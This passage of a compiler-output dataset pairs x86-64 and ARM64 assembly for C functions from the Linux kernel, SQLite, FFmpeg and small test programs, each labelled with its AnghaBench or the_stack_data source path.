LBB0_7: mov x0, x19 bl _kfree LBB0_8: mov x0, x23 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpAdd Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpAdd Lloh14, Lloh15 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _USB_REQ_FIRMWARE_READ_DATA,4,2 ; @USB_REQ_FIRMWARE_READ_DATA .comm _USB_DIR_IN,4,2 ; @USB_DIR_IN .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "read over firmware interface failed: %d\n" l_.str.1: ; @.str.1 .asciz "incomplete read over firmware interface: %d/%d\n" .comm _EIO,4,2 ; @EIO .subsections_via_symbols

AnghaBench/fastsocket/kernel/drivers/net/wireless/zd1211rw/extr_zd_usb.c_zd_usb_read_fw.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function renameColumnIdlistNames _renameColumnIdlistNames: ## @renameColumnIdlistNames .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, -48(%rbp) ## 8-byte Spill testq %rdx, %rdx je LBB0_6 ## %bb.1: movq %rdx, %r13 cmpl $0, (%rdx) jle LBB0_6 ## %bb.2: movq %rcx, %r14 movq %rdi, %r12 xorl %r15d, %r15d jmp LBB0_3 .p2align 4, 0x90 LBB0_5: ## in Loop: Header=BB0_3 Depth=1 incq %r15 movslq (%r13), %rax cmpq %rax, %r15 jge LBB0_6 LBB0_3: ## =>This Inner Loop Header: Depth=1 movq 8(%r13), %rax movq (%rax,%r15,8), %rbx movq %rbx, %rdi movq %r14, %rsi callq _sqlite3_stricmp testq %rax, %rax jne LBB0_5 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movq %r12, %rdi movq -48(%rbp), %rsi ## 8-byte Reload movq %rbx, %rdx callq _renameTokenFind jmp LBB0_5 LBB0_6: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _renameColumnIdlistNames .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function renameColumnIdlistNames _renameColumnIdlistNames: ; @renameColumnIdlistNames .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 cbz x2, LBB0_6 ; %bb.1: mov x20, x2 ldr w8, [x2] cmp w8, #1 b.lt LBB0_6 ; %bb.2: mov x19, x3 mov x21, x1 mov x22, x0 mov x24, #0 b LBB0_4 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 add x24, x24, #1 ldrsw x8, [x20] cmp x24, x8 b.ge LBB0_6 LBB0_4: ; =>This Inner Loop Header: Depth=1 ldr x8, [x20, #8] ldr x23, [x8, x24, lsl #3] mov x0, x23 mov x1, x19 bl _sqlite3_stricmp cbnz x0, LBB0_3 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 mov x0, x22 mov x1, x21 mov x2, x23 bl _renameTokenFind b LBB0_3 LBB0_6: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _renameColumnIdlistNames .subsections_via_symbols

AnghaBench/freebsd/contrib/sqlite3/extr_sqlite3.c_renameColumnIdlistNames.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _of_fdt_unflatten_tree ## -- Begin function of_fdt_unflatten_tree .p2align 4, 0x90 _of_fdt_unflatten_tree: ## @of_fdt_unflatten_tree .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %r15 movq %rdi, %rbx movq _of_fdt_unflatten_mutex@GOTPCREL(%rip), %r12 movq %r12, %rdi callq _mutex_lock movq _kernel_tree_alloc@GOTPCREL(%rip), %rcx movq %rbx, %rdi movq %r15, %rsi movq %r14, %rdx movl $1, %r8d callq ___unflatten_device_tree movq %rax, %rbx movq %r12, %rdi callq _mutex_unlock movq %rbx, %rax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _of_fdt_unflatten_mutex,4,2 ## @of_fdt_unflatten_mutex .comm _kernel_tree_alloc,4,2 ## @kernel_tree_alloc .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _of_fdt_unflatten_tree ; -- Begin function of_fdt_unflatten_tree .p2align 2 _of_fdt_unflatten_tree: ; @of_fdt_unflatten_tree .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x2 mov x20, x1 mov x21, x0 Lloh0: adrp x22, _of_fdt_unflatten_mutex@GOTPAGE Lloh1: ldr x22, [x22, _of_fdt_unflatten_mutex@GOTPAGEOFF] mov x0, x22 bl _mutex_lock Lloh2: adrp x3, _kernel_tree_alloc@GOTPAGE Lloh3: ldr x3, [x3, _kernel_tree_alloc@GOTPAGEOFF] mov x0, x21 mov x1, x20 mov x2, x19 mov w4, #1 bl ___unflatten_device_tree mov x19, x0 mov x0, x22 bl _mutex_unlock mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _of_fdt_unflatten_mutex,4,2 ; @of_fdt_unflatten_mutex .comm _kernel_tree_alloc,4,2 ; @kernel_tree_alloc .subsections_via_symbols

AnghaBench/linux/drivers/of/extr_fdt.c_of_fdt_unflatten_tree.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function parse_xbr_subframe _parse_xbr_subframe: ## @parse_xbr_subframe .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %r15d movq %rdi, %rbx movq 16(%rbp), %rdx movq (%rdi), %rax movslq %r9d, %r13 movq _DCA_SUBBAND_SAMPLES@GOTPCREL(%rip), %rcx movl (%rcx), %ecx imull (%rax,%r13,4), %ecx movl (%rdx), %eax subl %ecx, %eax cmpl 8(%rdi), %eax jle LBB0_4 ## %bb.1: movl 32(%rbx), %edi movq _AV_LOG_ERROR@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str(%rip), %rdx LBB0_2: callq _av_log jmp LBB0_3 LBB0_4: movl %esi, %r12d leaq 36(%rbx), %r14 movq %r14, %rdi callq _get_bits_left testq %rax, %rax js LBB0_3 ## %bb.5: cmpl %r15d, %r12d jge LBB0_7 .p2align 4, 0x90 LBB0_6: ## =>This Inner Loop Header: Depth=1 movq %r14, %rdi movl $2, %esi callq _get_bits jmp LBB0_6 LBB0_3: movq _AVERROR_INVALIDDATA@GOTPCREL(%rip), %rax movl (%rax), %eax LBB0_15: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_7: movq 16(%rbp), %rax movl (%rax), %r15d movq (%rbx), %rax cmpl $0, (%rax,%r13,4) jle LBB0_14 ## %bb.8: xorl %r12d, %r12d jmp LBB0_9 .p2align 4, 0x90 LBB0_11: ## in Loop: Header=BB0_9 Depth=1 movq %r14, %rdi movl $16, %esi callq _get_bits cmpl $65535, %eax ## imm = 0xFFFF jne LBB0_16 ## %bb.12: ## in Loop: Header=BB0_9 Depth=1 movq (%rbx), %rax movl (%rax,%r13,4), %ecx LBB0_13: ## in Loop: Header=BB0_9 Depth=1 movq _DCA_SUBBAND_SAMPLES@GOTPCREL(%rip), %rdx addl (%rdx), %r15d incl %r12d cmpl %ecx, %r12d jge LBB0_14 LBB0_9: ## =>This Inner Loop Header: Depth=1 movl (%rax,%r13,4), %ecx leal -1(%rcx), %edx cmpl %edx, %r12d je LBB0_11 ## %bb.10: ## in Loop: Header=BB0_9 Depth=1 cmpq $0, 40(%rbx) jne LBB0_11 jmp LBB0_13 LBB0_14: movq 16(%rbp), %rax movl %r15d, (%rax) xorl %eax, %eax jmp LBB0_15 LBB0_16: movl 32(%rbx), %edi movq _AV_LOG_ERROR@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.4(%rip), %rdx jmp LBB0_2 .cfi_endproc ## -- End function .comm _DCA_CHANNELS,4,2 ## @DCA_CHANNELS .comm _DCA_SUBBANDS,4,2 ## @DCA_SUBBANDS .comm _DCA_SUBBAND_SAMPLES,4,2 ## @DCA_SUBBAND_SAMPLES .comm _AV_LOG_ERROR,4,2 ## @AV_LOG_ERROR .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Subband sample buffer overflow\n" .comm _AVERROR_INVALIDDATA,4,2 ## @AVERROR_INVALIDDATA .comm _DCA_ABITS_MAX,4,2 ## @DCA_ABITS_MAX .comm _ff_dca_scale_factor_quant7,8,3 ## @ff_dca_scale_factor_quant7 .comm _ff_dca_scale_factor_quant6,8,3 ## @ff_dca_scale_factor_quant6 .comm _ff_dca_lossless_quant,8,3 ## @ff_dca_lossless_quant L_.str.4: ## @.str.4 .asciz "XBR-DSYNC check failed\n" .no_dead_strip _parse_xbr_subframe .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function parse_xbr_subframe _parse_xbr_subframe: ; @parse_xbr_subframe .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x0 ldr w8, [x6] ldr x9, [x0] ldr w9, [x9, w5, sxtw #2] Lloh0: adrp x24, _DCA_SUBBAND_SAMPLES@GOTPAGE Lloh1: ldr x24, [x24, _DCA_SUBBAND_SAMPLES@GOTPAGEOFF] ldr w10, [x24] msub w8, w10, w9, w8 ldr w9, [x0, #8] cmp w8, w9 b.le LBB0_3 ; %bb.1: ldr w0, [x19, #32] Lloh2: adrp x8, _AV_LOG_ERROR@GOTPAGE Lloh3: ldr x8, [x8, _AV_LOG_ERROR@GOTPAGEOFF] Lloh4: ldr w1, [x8] Lloh5: adrp x2, l_.str@PAGE Lloh6: add x2, x2, l_.str@PAGEOFF LBB0_2: bl _av_log b LBB0_6 LBB0_3: mov x20, x6 mov x21, x5 mov x22, x2 mov x23, x1 add x0, x19, #36 bl _get_bits_left tbnz x0, #63, LBB0_6 ; %bb.4: cmp w23, w22 b.ge LBB0_8 LBB0_5: ; =>This Inner Loop Header: Depth=1 add x0, x19, #36 mov w1, #2 ; =0x2 bl _get_bits b LBB0_5 LBB0_6: Lloh7: adrp x8, _AVERROR_INVALIDDATA@GOTPAGE Lloh8: ldr x8, [x8, _AVERROR_INVALIDDATA@GOTPAGEOFF] Lloh9: ldr w0, [x8] LBB0_7: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_8: ldr w22, [x20] ldr x8, [x19] ldr w9, [x8, w21, sxtw #2] cmp w9, #1 b.lt LBB0_15 ; %bb.9: mov w23, #0 ; =0x0 mov w25, #65535 ; =0xffff b LBB0_13 LBB0_10: ; in Loop: Header=BB0_13 Depth=1 add x0, x19, #36 mov w1, #16 ; =0x10 bl _get_bits cmp w0, w25 b.ne LBB0_16 ; %bb.11: ; in Loop: Header=BB0_13 Depth=1 ldr x8, [x19] ldr w9, [x8, w21, sxtw #2] LBB0_12: ; in Loop: Header=BB0_13 Depth=1 ldr w10, [x24] add w22, w10, w22 add w23, w23, #1 cmp w23, w9 b.ge LBB0_15 LBB0_13: ; =>This Inner Loop Header: Depth=1 ldr w9, [x8, w21, sxtw #2] sub w10, w9, #1 cmp w23, w10 b.eq LBB0_10 ; %bb.14: ; in Loop: Header=BB0_13 Depth=1 ldr x10, [x19, #40] cbnz x10, LBB0_10 b LBB0_12 LBB0_15: mov w0, #0 ; =0x0 str w22, [x20] b LBB0_7 LBB0_16: ldr w0, [x19, #32] Lloh10: adrp x8, _AV_LOG_ERROR@GOTPAGE Lloh11: ldr x8, [x8, _AV_LOG_ERROR@GOTPAGEOFF] Lloh12: ldr w1, [x8] Lloh13: adrp x2, l_.str.4@PAGE Lloh14: add x2, x2, l_.str.4@PAGEOFF b LBB0_2 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpAdd Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .cfi_endproc ; -- End function .comm _DCA_CHANNELS,4,2 ; @DCA_CHANNELS .comm _DCA_SUBBANDS,4,2 ; @DCA_SUBBANDS .comm _DCA_SUBBAND_SAMPLES,4,2 ; @DCA_SUBBAND_SAMPLES .comm _AV_LOG_ERROR,4,2 ; @AV_LOG_ERROR .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Subband sample buffer overflow\n" .comm _AVERROR_INVALIDDATA,4,2 ; @AVERROR_INVALIDDATA .comm _DCA_ABITS_MAX,4,2 ; @DCA_ABITS_MAX .comm _ff_dca_scale_factor_quant7,8,3 ; @ff_dca_scale_factor_quant7 .comm _ff_dca_scale_factor_quant6,8,3 ; @ff_dca_scale_factor_quant6 .comm _ff_dca_lossless_quant,8,3 ; @ff_dca_lossless_quant l_.str.4: ; @.str.4 .asciz "XBR-DSYNC check failed\n" .no_dead_strip _parse_xbr_subframe .subsections_via_symbols

assembly_file_49112.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gets ## -- Begin function gets .p2align 4, 0x90 _gets: ## @gets .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r14 leaq LJTI0_0(%rip), %r15 movq %rdi, %rbx jmp LBB0_1 .p2align 4, 0x90 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 movb %al, (%rbx) incq %rbx LBB0_1: ## =>This Inner Loop Header: Depth=1 callq _getchar ## kill: def $eax killed $eax def $rax leal 1(%rax), %ecx cmpl $14, %ecx ja LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movslq (%r15,%rcx,4), %rcx addq %r15, %rcx jmpq *%rcx LBB0_3: ## in Loop: Header=BB0_1 Depth=1 cmpq %rbx, %r14 sbbq $0, %rbx jmp LBB0_1 LBB0_5: xorl %ecx, %ecx cmpq %r14, %rbx cmovneq %r14, %rcx movb $0, (%rbx) cmpl $-1, %eax cmovneq %r14, %rcx movq %rcx, %rax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_5, LBB0_5-LJTI0_0 .set L0_0_set_4, LBB0_4-LJTI0_0 .set L0_0_set_3, LBB0_3-LJTI0_0 LJTI0_0: .long L0_0_set_5 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_3 .long L0_0_set_4 .long L0_0_set_5 .long L0_0_set_4 .long L0_0_set_4 .long L0_0_set_5 .end_data_region ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gets ; -- Begin function gets .p2align 2 _gets: ; @gets .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 Lloh0: adrp x21, lJTI0_0@PAGE Lloh1: add x21, x21, lJTI0_0@PAGEOFF mov x20, x0 b LBB0_2 LBB0_1: ; in Loop: Header=BB0_2 Depth=1 strb w0, [x20], #1 LBB0_2: ; =>This Inner Loop Header: Depth=1 bl _getchar add w8, w0, #1 cmp w8, #14 b.hi LBB0_1 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 adr x9, LBB0_1 ldrb w10, [x21, x8] add x9, x9, x10, lsl #2 br x9 LBB0_4: ; in Loop: Header=BB0_2 Depth=1 cmp x20, x19 cset w8, hi sub x20, x20, x8 b LBB0_2 LBB0_5: strb wzr, [x20] cmp x20, x19 mov w8, #-1 ccmp w0, w8, #0, eq csel x0, xzr, x19, eq ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_5-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_4-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_5-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_1-LBB0_1)>>2 .byte (LBB0_5-LBB0_1)>>2 ; -- End function .subsections_via_symbols

the_stack_data/2484.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _fun ## -- Begin function fun .p2align 4, 0x90 _fun: ## @fun .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _fun ; -- Begin function fun .p2align 2 _fun: ; @fun .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .subsections_via_symbols

the_stack_data/14623.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function bnx2_nvram_write _bnx2_nvram_write: ## @bnx2_nvram_write .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $168, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 ## kill: def $ecx killed $ecx def $rcx movq %rdx, -96(%rbp) ## 8-byte Spill movl %esi, %r14d movq %rdi, %rbx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movl %esi, %r15d orl $3, %r15d andl $-4, %r14d movq %rcx, -104(%rbp) ## 8-byte Spill leal (%r15,%rcx), %eax cmpl $5, %eax movl $4, %r13d cmovgel %eax, %r13d leaq -64(%rbp), %rdx movl %r14d, %esi movl $4, %ecx callq _bnx2_nvram_read testl %eax, %eax je LBB0_4 LBB0_1: movl %eax, %r12d LBB0_2: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_75 ## %bb.3: movl %r12d, %eax addq $168, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_4: movq %r15, -112(%rbp) ## 8-byte Spill movq %r14, -168(%rbp) ## 8-byte Spill movl %r13d, %r14d testb $3, %r13b movq -96(%rbp), %r15 ## 8-byte Reload je LBB0_8 ## %bb.5: movl %r13d, %r14d andl $2147483644, %r14d ## imm = 0x7FFFFFFC movq -168(%rbp), %rax ## 8-byte Reload movl %eax, %esi subl %r14d, %esi addl $-8, %esi leaq -80(%rbp), %rdx movq %rbx, %rdi movl $4, %ecx callq _bnx2_nvram_read testl %eax, %eax jne LBB0_1 ## %bb.7: addl $4, %r14d LBB0_8: movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl %r14d, %edi callq _kmalloc testq %rax, %rax je LBB0_13 ## %bb.9: movq %rax, %r12 leaq -64(%rbp), %rsi movq %rax, %rdi movl $4, %edx callq _memcpy testb $3, %r13b je LBB0_11 ## %bb.10: movslq %r14d, %rax leaq (%r12,%rax,4), %rdi addq $-16, %rdi leaq -80(%rbp), %rsi movl $4, %edx callq _memcpy LBB0_11: movslq -112(%rbp), %rax ## 4-byte Folded Reload movq %r12, -192(%rbp) ## 8-byte Spill leaq (%r12,%rax,4), %rdi movq %r15, %rsi movq -104(%rbp), %rdx ## 8-byte Reload ## kill: def $edx killed $edx killed $rdx callq _memcpy movq %rbx, %r15 movq (%rbx), %rax movq _BNX2_NV_BUFFERED@GOTPCREL(%rip), %rcx movl (%rcx), %ecx xorl %r12d, %r12d testl %ecx, (%rax) je LBB0_14 ## %bb.12: xorl %edi, %edi jmp LBB0_15 LBB0_13: movq _ENOMEM@GOTPCREL(%rip), %rax xorl %r12d, %r12d subl (%rax), %r12d jmp LBB0_2 LBB0_14: movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl $264, %edi ## imm = 0x108 callq _kmalloc movq %rax, %rdi testq %rax, %rax je LBB0_72 LBB0_15: testl %r14d, %r14d jle LBB0_73 ## %bb.16: movq -168(%rbp), %rcx ## 8-byte Reload leal (%r14,%rcx), %esi movq %rdi, -88(%rbp) ## 8-byte Spill leaq 16(%rdi), %rax movq %rax, -152(%rbp) ## 8-byte Spill leal -8(%rcx), %eax movq %rax, -176(%rbp) ## 8-byte Spill xorl %ebx, %ebx movq -192(%rbp), %rax ## 8-byte Reload movq %rax, -128(%rbp) ## 8-byte Spill movq %r14, -200(%rbp) ## 8-byte Spill movl %esi, -116(%rbp) ## 4-byte Spill jmp LBB0_18 LBB0_17: ## in Loop: Header=BB0_18 Depth=1 movq %r15, %rdi callq _bnx2_disable_nvram_write movq %r15, %rdi callq _bnx2_disable_nvram_access movq %r15, %rdi callq _bnx2_release_nvram_lock movq -160(%rbp), %rbx ## 8-byte Reload subl -136(%rbp), %ebx ## 4-byte Folded Reload addl -104(%rbp), %ebx ## 4-byte Folded Reload movq -200(%rbp), %r14 ## 8-byte Reload cmpl %r14d, %ebx movq -168(%rbp), %rcx ## 8-byte Reload movl -116(%rbp), %esi ## 4-byte Reload jge LBB0_74 LBB0_18: ## =>This Loop Header: Depth=1 ## Child Loop BB0_26 Depth 2 ## Child Loop BB0_39 Depth 2 ## Child Loop BB0_52 Depth 2 ## Child Loop BB0_66 Depth 2 leal (%rbx,%rcx), %r13d movq (%r15), %rax movl 4(%rax), %edi movl %r13d, %eax cltd idivl %edi movl %edx, -140(%rbp) ## 4-byte Spill subl %edx, %r13d movq %rdi, -184(%rbp) ## 8-byte Spill leal (%rdi,%r13), %edx testl %ebx, %ebx movl %r13d, %eax cmovel %ecx, %eax movq %rax, -136(%rbp) ## 8-byte Spill cmpl %esi, %edx movl %esi, %eax movq %rdx, -112(%rbp) ## 8-byte Spill cmovll %edx, %eax movq %rax, -104(%rbp) ## 8-byte Spill movq %r15, %rdi callq _bnx2_acquire_nvram_lock testl %eax, %eax jne LBB0_70 ## %bb.19: ## in Loop: Header=BB0_18 Depth=1 movq %r15, %rdi callq _bnx2_enable_nvram_access movq _BNX2_NVM_COMMAND_FIRST@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -96(%rbp) ## 4-byte Spill movq (%r15), %rax movq _BNX2_NV_BUFFERED@GOTPCREL(%rip), %rcx movl (%rcx), %ecx testl %ecx, (%rax) movq %rbx, -160(%rbp) ## 8-byte Spill jne LBB0_31 ## %bb.20: ## in Loop: Header=BB0_18 Depth=1 movl 4(%rax), %eax testl %eax, %eax jle LBB0_31 ## %bb.21: ## in Loop: Header=BB0_18 Depth=1 xorl %ecx, %ecx cmpl $4, %eax jne LBB0_23 ## %bb.22: ## in Loop: Header=BB0_18 Depth=1 movq _BNX2_NVM_COMMAND_LAST@GOTPCREL(%rip), %rax movl (%rax), %ecx LBB0_23: ## in Loop: Header=BB0_18 Depth=1 orl -96(%rbp), %ecx ## 4-byte Folded Reload movq %r15, %rdi movl %r13d, %esi movq -88(%rbp), %rdx ## 8-byte Reload callq _bnx2_nvram_read_dword testl %eax, %eax jne LBB0_70 ## %bb.24: ## in Loop: Header=BB0_18 Depth=1 movq (%r15), %rax movl 4(%rax), %eax cmpl $5, %eax jl LBB0_30 ## %bb.25: ## in Loop: Header=BB0_18 Depth=1 movl %r13d, %ecx movq %rcx, -96(%rbp) ## 8-byte Spill movl $4, %r14d movq -152(%rbp), %rbx ## 8-byte Reload .p2align 4, 0x90 LBB0_26: ## Parent Loop BB0_18 Depth=1 ## => This Inner Loop Header: Depth=2 addl $-4, %eax xorl %ecx, %ecx cmpq %rax, %r14 jne LBB0_28 ## %bb.27: ## in Loop: Header=BB0_26 Depth=2 movq _BNX2_NVM_COMMAND_LAST@GOTPCREL(%rip), %rax movl (%rax), %ecx LBB0_28: ## in Loop: Header=BB0_26 Depth=2 movq -96(%rbp), %rax ## 8-byte Reload leal (%rax,%r14), %esi movq %r15, %rdi movq %rbx, %rdx callq _bnx2_nvram_read_dword testl %eax, %eax jne LBB0_70 ## %bb.29: ## in Loop: Header=BB0_26 Depth=2 addq $4, %r14 movq (%r15), %rax movl 4(%rax), %eax addq $16, %rbx cmpl %r14d, %eax jg LBB0_26 LBB0_30: ## in Loop: Header=BB0_18 Depth=1 movl $0, -96(%rbp) ## 4-byte Folded Spill LBB0_31: ## in Loop: Header=BB0_18 Depth=1 movq %r15, %rdi callq _bnx2_enable_nvram_write testl %eax, %eax jne LBB0_70 ## %bb.32: ## in Loop: Header=BB0_18 Depth=1 movq (%r15), %rax movq _BNX2_NV_BUFFERED@GOTPCREL(%rip), %rcx movl (%rcx), %ecx xorl %edi, %edi testl %ecx, (%rax) je LBB0_34 ## %bb.33: 